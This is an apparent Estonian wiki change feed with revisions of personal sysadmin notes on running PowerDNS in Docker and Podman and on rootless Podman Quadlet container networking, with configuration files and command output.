% curl -s -L -H 'Content-Type: application/json' -H 'X-API-KEY:  xxx' -X GET &amp;quot;https://pda.moraal.ee/api/v1/servers/localhost/zones/zone-moraal-imre-test-01.ee&amp;quot; | jq .&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;msg&amp;quot;: &amp;quot;Zone access not allowed&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns docker lahendus===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf&lt;br /&gt;
allow-axfr-ips=127.0.0.1,192.168.10.0/24&lt;br /&gt;
allow-notify-from=&lt;br /&gt;
allow-unsigned-notify=yes&lt;br /&gt;
also-notify=&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=saladus&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-soa-content=ans1.auu.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
disable-syslog=no&lt;br /&gt;
forward-notify=&lt;br /&gt;
include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
launch=&lt;br /&gt;
local-address=172.30.0.15, 10.30.0.15&lt;br /&gt;
local-port=53&lt;br /&gt;
log-dns-details=yes&lt;br /&gt;
log-dns-queries=yes&lt;br /&gt;
log-timestamp=yes&lt;br /&gt;
loglevel=4&lt;br /&gt;
only-notify=&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=10.30.0.15&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
webserver-loglevel=detailed&lt;br /&gt;
webserver-password=saladus&lt;br /&gt;
webserver-port=8081&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===pdns podman lahendus===&lt;br /&gt;
&lt;br /&gt;
PDNS Quadlet Service kirjeldus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
Environment=PDNS_local_port=8053&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning pdns.conf seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/pdns/volume/pdns/etc/powerdns/pdns.conf&lt;br /&gt;
local-address=0.0.0.0&lt;br /&gt;
launch=&lt;br /&gt;
# include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
api=yes&lt;br /&gt;
api-key=parool&lt;br /&gt;
webserver=yes&lt;br /&gt;
webserver-address=0.0.0.0&lt;br /&gt;
webserver-allow-from=0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
#master=yes&lt;br /&gt;
&lt;br /&gt;
primary=yes&lt;br /&gt;
secondary=yes&lt;br /&gt;
allow-axfr-ips= 100.20.21.0/24,127.0.0.1/32,172.17.0.0/16&lt;br /&gt;
also-notify=192.168.1.150&lt;br /&gt;
only-notify=&lt;br /&gt;
forward-notify=&lt;br /&gt;
default-soa-content=ans1.auul.pri.ee hostmaster.auul.pri.ee 0 86400 7200 2419200 10800&lt;br /&gt;
default-soa-edit=INCEPTION-INCREMENT&lt;br /&gt;
default-soa-edit-signed=INCEPTION-INCREMENT&lt;br /&gt;
default-ttl=3600&lt;br /&gt;
&lt;br /&gt;
default-ksk-algorithm=ecdsa256&lt;br /&gt;
default-api-rectify=yes&lt;br /&gt;
# default-nsec3-param=1 0 0 -&lt;br /&gt;
&lt;br /&gt;
launch+=gpgsql&lt;br /&gt;
gpgsql-dnssec=yes&lt;br /&gt;
gpgsql-extra-connection-parameters=password=parool dbname=db_pdns port=5432 user=pdns host=192.168.1.147&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Tsooni migreerimine pädeva pdns peale===&lt;br /&gt;
&lt;br /&gt;
====Protseduur====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Käsundamine====&lt;br /&gt;
&lt;br /&gt;
Tekitatakse migreeritava tsooni sekundaar&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pdnsutil create-secondary-zone moraal.ee 192.168.1.148&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://www.powerdns.com/&lt;br /&gt;
* http://www.poweradmin.org/&lt;br /&gt;
* https://github.com/PowerDNS/pdns/wiki/WebFrontends&lt;br /&gt;
* http://jpmens.net/2010/10/29/alternative-dns-servers-the-book-as-pdf/&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
* https://www.cloudflare.com/dns/dnssec/how-dnssec-works/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4234</id>
		<title>Podman kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4234"/>
		<updated>2026-06-15T21:55:48Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* podhost podide vaheline võrk */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* slirp4netns&lt;br /&gt;
* slip&lt;br /&gt;
* netavark&lt;br /&gt;
* uidmap&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Antud juhuks kasutatakse Debian v. 13 operatsioonisüsteemi, siin on olemas&lt;br /&gt;
&lt;br /&gt;
* kernel v. 6.12&lt;br /&gt;
* podman v. 5 (mitte v. 4 nagu näiteks Ubuntu 24.04)&lt;br /&gt;
&lt;br /&gt;
podman tarkvara paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# apt-get install podman -d&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree... Done&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  aardvark-dns buildah catatonit conmon containernetworking-plugins containers-storage cpp cpp-14 cpp-14-x86-64-linux-gnu&lt;br /&gt;
  cpp-x86-64-linux-gnu criu crun dirmngr fuse-overlayfs fuse3 gnupg gnupg-l10n gnupg-utils golang-github-containers-common&lt;br /&gt;
  golang-github-containers-image gpg gpg-agent gpg-wks-client gpgconf gpgsm gpgv iptables libassuan9 libcompel1 libcriu2 libgcrypt20&lt;br /&gt;
  libgpg-error-l10n libgpg-error0 libgpgme11t64 libip4tc2 libip6tc2 libisl23 libksba8 libldap-common libldap2 libmpc3 libmpfr6 libnet1&lt;br /&gt;
  libnetfilter-conntrack3 libnfnetlink0 libnl-3-200 libnpth0t64 libprotobuf32t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libslirp0&lt;br /&gt;
  libsubid5 libyajl2 netavark passt pinentry-curses python3-protobuf python3-pycriu slirp4netns uidmap&lt;br /&gt;
Suggested packages:&lt;br /&gt;
  cpp-doc gcc-14-locales cpp-14-doc libwasmedge0 pinentry-gnome3 tor gpg-wks-server parcimonie xloadimage scdaemon tpm2daemon firewalld&lt;br /&gt;
  rng-tools libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql&lt;br /&gt;
  pinentry-doc docker-compose&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse lisaks passt ja slirp4nets, uidmap conman, netavark, criu, crun&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# systemctl --user enable --now podman.socket&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
chatgpt soovitus, 'you might need to increase your &amp;quot;unprivileged ports&amp;quot; or &amp;quot;max user namespaces&amp;quot; in /etc/sysctl.conf'&lt;br /&gt;
&lt;br /&gt;
Võrgukontroll&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ps aux | grep -E 'pasta|slirp4netns'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Quadlet kasutamine===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user mask podman-user-wait-network-online.service&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ cat .config/containers/systemd/nginx-08.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8098:80&lt;br /&gt;
ContainerName=nginx-08&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user daemon-reload&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user start nginx-08.service&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kuna unit genereeritakse, siis '... enable --now ...' vms ei ole asjakohane (saab veateate)&lt;br /&gt;
&lt;br /&gt;
Tulemusena&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ systemctl --user status nginx-07&lt;br /&gt;
● nginx-07.service - My Nginx Quadlet Service - 07&lt;br /&gt;
     Loaded: loaded (/home/kasutaja/.config/containers/systemd/nginx-07.container; generated)&lt;br /&gt;
     Active: active (running) since Sun 2026-04-19 20:26:21 EEST; 5min ago&lt;br /&gt;
 Invocation: 2954482c56c64789a40f697e6d660f2f&lt;br /&gt;
   Main PID: 4344 (conmon)&lt;br /&gt;
      Tasks: 5 (limit: 6982)&lt;br /&gt;
     Memory: 30.9M (peak: 46.6M)&lt;br /&gt;
        CPU: 94ms&lt;br /&gt;
     CGroup: /user.slice/user-1000.slice/user@1000.service/app.slice/nginx-07.service&lt;br /&gt;
             ├─libpod-payload-448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
             │ ├─4346 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
             │ ├─4372 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             │ └─4373 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
             └─runtime&lt;br /&gt;
               ├─4341 /usr/bin/pasta --config-net -t 8097-8097:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-5f134e7f-f63d-6728-4123-10ffea79d4e9 --map-guest-addr 169.254.1.2&lt;br /&gt;
               └─4344 /usr/bin/conmon --api-version 1 -c 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -u 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70 -r /usr/bin/crun -b /home/kasutaja/.local/share/containers/storage/overlay-containers/448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70/userdata -p /run/user/1000/containers/overlay-containers/448f5affd046e479f&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4324]: 448f5affd046e479f93a85fa1870aa1c9b1a9cc3d83b1f782999d464c7f41c70&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 podman[4324]: 2026-04-19 20:26:21.222328815 +0300 EEST m=+0.015770124 image pull 5bd7bd52e5bcab15a093466b90e37472b0d0c0081052522afb8924cbdaf15f56 docker.io/library/nginx:alpine&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: using the &amp;quot;epoll&amp;quot; event method&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: nginx/1.29.8&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: built by gcc 15.2.0 (Alpine 15.2.0)&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: OS: Linux 6.12.74+deb13+1-amd64&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 524288:524288&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker processes&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 25&lt;br /&gt;
Apr 19 20:26:21 ph-minio-01 nginx-07[4344]: 2026/04/19 17:26:21 [notice] 1#1: start worker process 26&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Olukorra küsimine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ph-minio-01:~$ loginctl user-status&lt;br /&gt;
kasutaja (1000)&lt;br /&gt;
   Since: Sun 2026-04-19 18:59:50 EEST; 1h 15min ago&lt;br /&gt;
   State: active&lt;br /&gt;
Sessions: *69 68&lt;br /&gt;
  Linger: no&lt;br /&gt;
    Unit: user-1000.slice&lt;br /&gt;
          ├─session-69.scope&lt;br /&gt;
          │ ├─3556 &amp;quot;sshd-session: kasutaja [priv]&amp;quot;&lt;br /&gt;
          │ ├─3563 &amp;quot;sshd-session: kasutaja@pts/1&amp;quot;&lt;br /&gt;
          │ ├─3564 -bash&lt;br /&gt;
          │ ├─3883 loginctl user-status&lt;br /&gt;
          │ └─3884 pager&lt;br /&gt;
          └─user@1000.service&lt;br /&gt;
            ├─app.slice&lt;br /&gt;
            │ ├─nginx-08.service&lt;br /&gt;
            │ │ ├─libpod-payload-bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045&lt;br /&gt;
            │ │ │ ├─3485 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │ │ │ ├─3537 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ │ └─3538 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │ │ └─runtime&lt;br /&gt;
            │ │   ├─3464 /usr/bin/pasta --config-net -t 8098-8098:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-91377314-f55f-138d-42af-3d324176cd02 --map-guest-addr &amp;gt;&lt;br /&gt;
            │ │   └─3480 /usr/bin/conmon --api-version 1 -c bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -u bc852e3e18307519d4aa9da53a695a32a41de08994596114cbe36b400b47e045 -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            │ └─nginx-09.service&lt;br /&gt;
            │   ├─libpod-payload-a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a&lt;br /&gt;
            │   │ ├─3484 &amp;quot;nginx: master process nginx -g daemon off;&amp;quot;&lt;br /&gt;
            │   │ ├─3511 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   │ └─3512 &amp;quot;nginx: worker process&amp;quot;&lt;br /&gt;
            │   └─runtime&lt;br /&gt;
            │     ├─3476 /usr/bin/pasta --config-net -t 8099-8099:80-80 --dns-forward 169.254.1.1 -u none -T none -U none --no-map-gw --quiet --netns /run/user/1000/netns/netns-ec2cfa9a-6c8b-0edf-24a2-be75c53feb34 --map-guest-addr &amp;gt;&lt;br /&gt;
            │     └─3481 /usr/bin/conmon --api-version 1 -c a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -u a390c5429a53870b2175d1869d0e5aab0c990e9f8cb511b3cac04582b346c35a -r /usr/bin/crun -b /home/kasutaja/.lo&amp;gt;&lt;br /&gt;
            ├─init.scope&lt;br /&gt;
            │ ├─3376 /usr/lib/systemd/systemd --user&lt;br /&gt;
            │ └─3378 &amp;quot;(sd-pam)&amp;quot;&lt;br /&gt;
            ├─session.slice&lt;br /&gt;
            │ └─dbus.service&lt;br /&gt;
            │   └─3536 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only&lt;br /&gt;
            └─user.slice&lt;br /&gt;
              └─podman-pause-407bd36c.scope&lt;br /&gt;
                └─3427 catatonit -P&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===podhost podide vaheline võrk===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi töötavad podhost peal pod'id nii, et iga pod sisse nö peegeldatakse host'i enda võrguliides, st pod arvab, et ta on host. Ja kui nüüd pod pöördub mõne teise pod poole, siis ta ei saa kuna tema võrguliiklus takerdub. Sellest olukorrast saab üle järgnevalt kirjeldatud asjakorraldusega&lt;br /&gt;
&lt;br /&gt;
* pod sisse moodustatakse eraldi 10.x.x.x aadressiga võrguliidesed&lt;br /&gt;
* kõigi asjasse puutuvate pod'ide võrguliidesed asuvad ühe nö switchi küljes&lt;br /&gt;
* podhost peal toimetab nn rootlessport nimeline protsess&lt;br /&gt;
* kuidagi protsessi sisemiselt teisendatakse internetist saabunud paketid nendeks privaatsete aadressidega pakettideks&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ühe pod systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/pdns-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My PDNS Quadlet Service&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/powerdns/pdns-auth-49:latest&lt;br /&gt;
PublishPort=8081:8081/tcp&lt;br /&gt;
PublishPort=1053:8053/tcp&lt;br /&gt;
PublishPort=1053:8053/udp&lt;br /&gt;
ContainerName=pdns-01&lt;br /&gt;
Volume=%h/volume/pdns/etc/powerdns/pdns.conf:/etc/powerdns/pdns.conf:ro&lt;br /&gt;
# Environment=PDNS_local_port=8053&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
teise systemd unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/nginx-01.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 01&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8091:80&lt;br /&gt;
ContainerName=nginx-01&lt;br /&gt;
Volume=%h/volume/nginx/etc/nginx/nginx.conf:/etc/nginx/nginx.conf:ro&lt;br /&gt;
Network=dns-net.network&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
võrgu unit seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ cat .config/containers/systemd/dns-net.network&lt;br /&gt;
[Network]&lt;br /&gt;
NetworkName=dns-net&lt;br /&gt;
Options=dns&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad podhost peale sellised protsessid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# netstat -lnpt | grep rootle&lt;br /&gt;
tcp6       0      0 :::8081                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
tcp6       0      0 :::8091                 :::*                    LISTEN      63627/rootlessport&lt;br /&gt;
tcp6       0      0 :::1053                 :::*                    LISTEN      63597/rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures nad on erinevad namespace'id&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# lsns -T | grep rootlessport&lt;br /&gt;
│ ├─4026532532 net         4 63597 kasutaja        rootlessport&lt;br /&gt;
│ ├─4026532647 net         5 63627 kasutaja        rootlessport&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning nende sees on sellised võrguliidesed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if4: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether ce:90:e6:c1:2e:42 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.5/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::cc90:e6ff:fec1:2e42/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n ip addr show dev eth0&lt;br /&gt;
2: eth0@if5: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 65520 qdisc noqueue state UP group default qlen 1000&lt;br /&gt;
    link/ether 7e:9d:11:fa:3b:24 brd ff:ff:ff:ff:ff:ff link-netnsid 0&lt;br /&gt;
    inet 10.89.0.6/24 brd 10.89.0.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::7c9d:11ff:fefa:3b24/64 scope link proto kernel_ll&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja arp tabelid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63597 -n arp -an&lt;br /&gt;
? (10.89.0.6) at 7e:9d:11:fa:3b:24 [ether] on eth0&lt;br /&gt;
? (10.89.0.1) at 9a:1f:56:3d:e4:d6 [ether] on eth0&lt;br /&gt;
&lt;br /&gt;
root@ns-pdns-01:~# nsenter -t 63627 -n arp -an&lt;br /&gt;
? (10.89.0.1) at 9a:1f:56:3d:e4:d6 [ether] on eth0&lt;br /&gt;
? (10.89.0.5) at ce:90:e6:c1:2e:42 [ether] on eth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja nt pod'i sisse minnes võrk töötab teise pod'iga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ podman exec -ti nginx-01 ping -c 2 pdns-01&lt;br /&gt;
PING pdns-01 (10.89.0.5): 56 data bytes&lt;br /&gt;
64 bytes from 10.89.0.5: seq=0 ttl=42 time=0.020 ms&lt;br /&gt;
64 bytes from 10.89.0.5: seq=1 ttl=42 time=0.064 ms&lt;br /&gt;
&lt;br /&gt;
--- pdns-01 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 packets received, 0% packet loss&lt;br /&gt;
round-trip min/avg/max = 0.020/0.042/0.064 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kusjuures huvitav, et interneti ei saa pingida (see on passt võrgunduse eripära)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
kasutaja@ns-pdns-01:~$ podman exec -ti nginx-01 ping -c 2 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8): 56 data bytes&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 packets received, 100% packet loss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://passt.top/&lt;br /&gt;
* youtube 'Getting started with Podman' by SRKMasterStack&lt;br /&gt;
* 'Podman for DevOps - Second Edition' - Alessandro Arrichiello, Gianni Salinetti&lt;br /&gt;
* https://www.hackerstack.org/understanding-linux-namespaces/&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4233</id>
		<title>Podman kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Podman_kasutamine&amp;diff=4233"/>
		<updated>2026-06-15T21:53:39Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* podhost podide vaheline võrk */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* slirp4netns&lt;br /&gt;
* slip&lt;br /&gt;
* netavark&lt;br /&gt;
* uidmap&lt;br /&gt;
&lt;br /&gt;
===Ettevalmistamine===&lt;br /&gt;
&lt;br /&gt;
Antud juhuks kasutatakse Debian v. 13 operatsioonisüsteemi, siin on olemas&lt;br /&gt;
&lt;br /&gt;
* kernel v. 6.12&lt;br /&gt;
* podman v. 5 (mitte v. 4 nagu näiteks Ubuntu 24.04)&lt;br /&gt;
&lt;br /&gt;
podman tarkvara paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# apt-get install podman -d&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree... Done&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  aardvark-dns buildah catatonit conmon containernetworking-plugins containers-storage cpp cpp-14 cpp-14-x86-64-linux-gnu&lt;br /&gt;
  cpp-x86-64-linux-gnu criu crun dirmngr fuse-overlayfs fuse3 gnupg gnupg-l10n gnupg-utils golang-github-containers-common&lt;br /&gt;
  golang-github-containers-image gpg gpg-agent gpg-wks-client gpgconf gpgsm gpgv iptables libassuan9 libcompel1 libcriu2 libgcrypt20&lt;br /&gt;
  libgpg-error-l10n libgpg-error0 libgpgme11t64 libip4tc2 libip6tc2 libisl23 libksba8 libldap-common libldap2 libmpc3 libmpfr6 libnet1&lt;br /&gt;
  libnetfilter-conntrack3 libnfnetlink0 libnl-3-200 libnpth0t64 libprotobuf32t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libslirp0&lt;br /&gt;
  libsubid5 libyajl2 netavark passt pinentry-curses python3-protobuf python3-pycriu slirp4netns uidmap&lt;br /&gt;
Suggested packages:&lt;br /&gt;
  cpp-doc gcc-14-locales cpp-14-doc libwasmedge0 pinentry-gnome3 tor gpg-wks-server parcimonie xloadimage scdaemon tpm2daemon firewalld&lt;br /&gt;
